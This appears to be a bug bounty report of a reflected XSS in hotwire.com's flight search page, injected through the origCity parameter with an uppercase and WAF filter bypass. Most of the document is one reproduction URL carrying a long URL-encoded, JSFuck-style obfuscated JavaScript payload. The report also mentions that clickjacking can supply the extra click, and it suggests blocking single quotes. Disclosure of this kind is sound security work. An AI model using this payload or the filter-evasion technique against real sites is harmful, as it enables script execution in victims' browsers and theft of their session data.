Reflected XSS Via origCity Parameter (UPPER Case + WAF Protection Bypass)

How it was found

Summary

The Injection occurs on an onsubmit event, this will require an extra click, however this page is vulnerable to clickjacking as well, this makes a little bit more easier to exploit

{F1538302}

Steps To Reproduce:

1->Open

https://www.hotwire.com/air/search-options.jsp?inputId=ext-link-disambig&rs=0&isMultiAirport=true&startDate=12%2F09%2F21&endDate=12%2F12%2F21&noOfTickets=1&origCity=xss;%27}}),%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%5b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%28%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%2b%5b%21%5b%5d%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%21%2b%5b%5d%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%2b%28%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%5b%2b%21%2b%5b%5d%5d%29%29%5b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%2b%5b%5d%29%5b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%5b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%28%2b%5b%5d%29%5b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b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2-> Click Continue

Recommended Remediation Steps

Block single quotes

This could be a duplicate, but i think i might be able to escalate this if not

Impact

A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information.